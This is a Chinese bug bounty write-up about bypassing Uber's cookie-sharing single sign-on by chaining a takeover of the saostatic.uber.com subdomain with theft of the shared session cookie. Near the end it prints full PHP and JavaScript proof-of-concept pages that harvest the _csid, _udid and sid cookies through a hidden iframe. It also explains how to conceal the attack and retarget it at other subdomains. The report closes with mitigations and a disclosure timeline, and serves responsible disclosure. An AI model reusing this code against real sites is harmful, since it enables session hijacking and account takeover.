挖洞經驗 | 看我如何通過子域名接管繞過Uber單點登錄認證機制

新聞 07-31

Uber使用Amazon CloudFront CDN架構的網站saostatic.uber.com存在子域名安全漏洞，可被攻擊者接管。另外，Uber近期部署在網站auth.uber.com上，基於Uber所有子域名cookie共享實現認證的單點登錄系統（SSO）也存在安全問題，攻擊者可通過入侵控制任意一個*.uber.com子域名進行會話cookie竊取。因此，這兩個問題的綜合應用將造成對Uber整個SSO系統的身份認證繞過，實現對所有Uber子域名網站的訪問控制，影響甚大。目前，通過我的漏洞發現，Uber已經修復了這兩個安全問題，並為我提供了5000刀的漏洞獎金。下面，我們就一起來進行漏洞分析：

了解單點登錄認證系統SSO的安全性

通常，單點登錄認證系統主要有以下三種類型：

OAuth: 基於服務提供者（Service Providers）為身份提供者（Identity Providers）配置的白名單回調URL，並由「state」參數實現CSRF保護。該方式存在的漏洞大多為開放重定向問題，參考Airbnb的認證繞過漏洞。

SAML & friends: 基於XML消息加密，使用服務提供者和身份提供者之間的預交換加密密鑰進行認證。該方式漏洞大多為XML簽名繞過，參考OneLogin認證繞過。

子域名cookie會話共享: 基於所有子域名空間的整體安全性。任何一個存在漏洞的子域名都可能導致會話共享cookie被劫持，並對SSO系統造成安全威脅。該方式漏洞大多為RCE遠程代碼執行、調試日誌泄露和子域名接管，參考Ubiquity身份認證繞過。

我個人認為，前兩種單點登錄方式以前存在很多安全問題，但現在其安全性都已得到提升。相比來說，第三種SSO方式的應用比前兩種都要早，從設計角度來說，任何利用這種SSO系統發起認證的域名都必須是同一個頂級域名下的子域名，但由於這種SSO系統的安全性依賴於所有子域名的整體安全性，所以也無形中增加了其攻擊面。

Uber的單點登錄認證問題

從近期的漏洞披露報告來看，Uber在過去曾使用OAuth來作為*.uber.com子域名的SSO系統，但最近卻換成了基於會話共享cookie的SSO系統。現在訪問任何一個需要身份認證的uber.com子域名，都將被重定向到auth.uber.com進行統一的身份認證。如果在該網站完成登錄之後意味著你通過了其SSO系統，利用SSO系統分配的會話cookie可繼續實現其它Uber網站的登錄訪問。

但是這個SSO系統卻存在前述的安全漏洞：在受害者為認證登錄狀態時，通過對任何一個入侵控制的子域名網站可以竊取經auth.uber.com為任意子域名認證分發的共享會話cookie。雖然Uber採取了一些防護對策，但仍然可以被繞過。加上saostatic.uber.com的子域名繞過漏洞，意味著Uber的整個SSO系統身份認證機制都將被繞過。儘管Uber在漏洞賞金項目中明確了某些不在測試範圍內的域名，但該漏洞攻擊可適用於任意一個*.uber.com子域名。

對Uber的子域名接管

通過DNS CNAME記錄觀察，子域名saostatic.uber.com指向Amazon Cloudfront CDN，但主機名並沒有被註冊，這也味著其存在域名註冊接管漏洞。在參考類似的Uber漏洞之後，我成功接管了該子域名，以下PoC證明:

對Uber實現認證繞過

在Uber的SSO系統中，auth.uber.com作為具備臨時共享會話cookie的身份提供者，向服務提供者（如riders.uber.com等網站）發起認證。成功完成認證之後，為避免衝突和錯誤，服務提供者在服務端將會立即刪除傳入的臨時共享會話cookie，並降低會話信息被竊取的可能和風險。以下為Uber SSO系統的用戶登錄流程：

從上圖分析可看出，由於在第9步和第12步之間存在一個短暫的瀏覽器重定向，有效的會話cookie 「_csid」貌似只能從此進行竊取。對此，結合Jack Whitton的CSP欺騙實現cookie重定向發送漏洞，我發現了一種更方便有效的利用方法，通過該方法可以讓共享會話cookie在第12步後仍然保存在瀏覽器中。關鍵是，如果目標用戶已經通過第12步實現了https://riders.uber.com的認證登錄，當該用戶接著又從auth.uber.com收到了一個新生成的有效共享會話cookie 「_csid」時，這個新cookie將被忽略但保持有效。

因此，攻擊者可以將上圖第3步重放為下圖的第13步，並在其後添加一個指向https://saostatic.uber.com的隱藏請求，就可以竊取到有效會話cookie：

理論上來說，一旦攻擊者得到了如https://riders.uber.com的受害用戶共享會話cookie 「_csid」後，就可在自己的瀏覽器中執行正常的登錄認證流程，並會替換掉第9步的「_csid」分發cookie值，偽裝受害用戶進行登錄。但是，Uber在這裡設置了CSRF跨站請求偽造防護措施，所以，加入CSRF防護機制的Uber SSO登錄流程圖如下所示：

關鍵就在於GET參數state=CSRFTOKEN，和在第3步中由riders.uber.com添加的，並在第11步驗證的本地局部狀態cookie。由於我們無法從受害用戶瀏覽器中竊取這些cookie值，但我們的目標又是共享會話cookie「_csid」，那是否就沒戲了呢？

NO！由於攻擊者可以通過在自己終端，正常進行https://riders.uber.com的登錄操作，並從中獲取到有效的CSRFTOKEN值和狀態cookie，那麼攻擊者就能夠將https://riders.uber.com在第三步生成的auth.uber.com URL鏈接轉發至受害用戶的瀏覽器中，生成並竊取共享會話cookie 「_csid」，最後將這些cookie插入到第9步的自己登錄認證過程中。這種方式下，由受害者生成一個臨時的會話令牌」_csid」，而攻擊者利用該令牌在單獨的瀏覽器實現成功認證登錄，非常完美。

PoC及視頻演示

再多的流程圖也比不上一個PoC說得清楚。

1、打開受害者瀏覽器，瀏覽https://riders.uber.com，之後被重定向到https://auth.uber.com，使用受害用戶的憑證完成認證，轉到https://riders.uber.com；

2、在受害者瀏覽器打開另一個網頁標籤，訪問https://saostatic.uber.com/prepareuberattack.php，假設該網站設置了安全有效的SSL認證模式，在此跳出的任何認證警告，都選擇接受。當頁面載入完成後，你將會在底部看到一個url、Cookie字元串和Set-Cookie字元串，這就是自動竊取的，攻擊者用來進行登錄認證的cookie值

3、打開另外一個瀏覽器窗口，設置攔截工具進行請求回應的流量截取，訪問prepareuberattack.php頁面顯示的URL鏈接進行攔截，之後，複製在prepareuberattack.php頁面中顯示的Cookie:…欄位，並把它拷貝到請求頭中

4、響應信息將會跳轉到https://riders.uber.com/trips，表明已成功繞過身份認證。最後，將prepareuberattack.php頁面的「Set-Cookie：」欄位值拷貝到瀏覽器服務端請求的響應信息中，這樣，就能實現將竊取的cookie值持久駐留在攻擊者瀏覽器中。接下來，就可以受害者身份完成其它域名網站的認證登錄。具體請看以下演示視頻：

https://v.qq.com/x/page/k0525k5zvln.html

真實攻擊場景中，攻擊者可以用隱蔽方式在受害用戶瀏覽器中，通過iframe等方式載入https://saostatic.uber.com/prepareuberattack.php頁面。同樣，攻擊者可以不在結果返回頁面中顯示URL和竊取的cookie信息，而是將其存儲伺服器後端，實現隱蔽攻擊竊取。雖然解釋有些拖沓，但在上述視頻演示中可看出其PoC漏洞攻擊的快速有效執行能力。

以下給出的是 https://saostatic.uber.com/prepareuberattack.php和https://saostatic.uber.com/uberattack.php頁面的攻擊源碼，prepareuberattack.php可託管在任意伺服器，而uberattack.php必須託管在被劫持或入侵的子域名網站伺服器中。你可以將這兩個PHP文件中的「riders.uber.com」改為其它Uber子域名，如vault.uber.com、partners.uber.com和developer.uber.com等，進行攻擊。

prepareuberattack.php：

<html> <body> <script> <?php function HandleHeaderLine( $curl, $header_line ) { preg_match("/state=([^;]*);/", $header_line, $matches); if(sizeof($matches) > 0) { print("var cookiestate = "" . $matches[1] . ""; "); } preg_match("/Location: (.*)/", $header_line, $matches); if(sizeof($matches) > 0) { print("var loc = "" . trim($matches[1]) . ""; "); } return strlen($header_line); }

$c = curl_init("https://riders.uber.com"); curl_setopt($c, CURLOPT_VERBOSE, 1); curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); curl_setopt($c, CURLOPT_HEADERFUNCTION, "HandleHeaderLine"); $page = curl_exec($c); ?> var csrf = loc.substring(loc.lastIndexOf("=")+1); var img = document.createElement("IMG"); img.onerror = function () { var iframe = document.createElement("iframe"); iframe.setAttribute("src","https://saostatic.uber.com/uberattack.php?cookiestate=" + encodeURIComponent(cookiestate) + "&csrftoken=" + csrf); iframe.setAttribute("width", "100%"); iframe.setAttribute("height", "10000"); document.body.appendChild(iframe); } img.src=loc; </script> </body> </html>

uberattack.php：

<html> <body> <?php $cookiestring = "state=" . $_GET["cookiestate"] . "; "; $interestincookies = array("_udid", "_csid", "sid"); foreach ($_COOKIE as $name => $value) { if (in_array($name,$interestincookies)) { $cookiestring = $cookiestring . $name . "=" . str_replace(" ", "+", $value) . "; "; $cookiestringset = $cookiestringset . "Set-Cookie: " . $name . "=" . str_replace(" ", "+", $value) . ";</br>"; } } print "Url: " . "https://riders.uber.com/?state=" . urlencode($_GET["csrftoken"]) . "<br /><br />"; print "Cookie: " . $cookiestring . "<br />"; print "<br />" . $cookiestringset . "<br />";

?> </body> </html>

修復策略

我給Uber的兩方面建議：

1、消除指向AWS CloudFront CDN的解析記錄來避免saostatic.uber.com的子域名接管漏洞；

2、按照優先順序順序，通過以下方法解決身份認證繞過問題：

恢復使用OAuth 2，減少因共享會話cookie SSO系統導致的攻擊面

採取IP地址檢測功能：保存用戶外網IP地址，在認證發起時進行驗證

考慮到SSO系統對所有子域名的安全依賴性，可將所有Uber子域名加入漏洞賞金項目範圍

最終，Uber消除不安全的CNAME解析記錄，並採用IP地址檢測機制來降低了Uber SSO系統攻擊面。

漏洞報送進程

2017年4月7日向Uber提交漏洞

2017年4月11日 Uber漏洞分類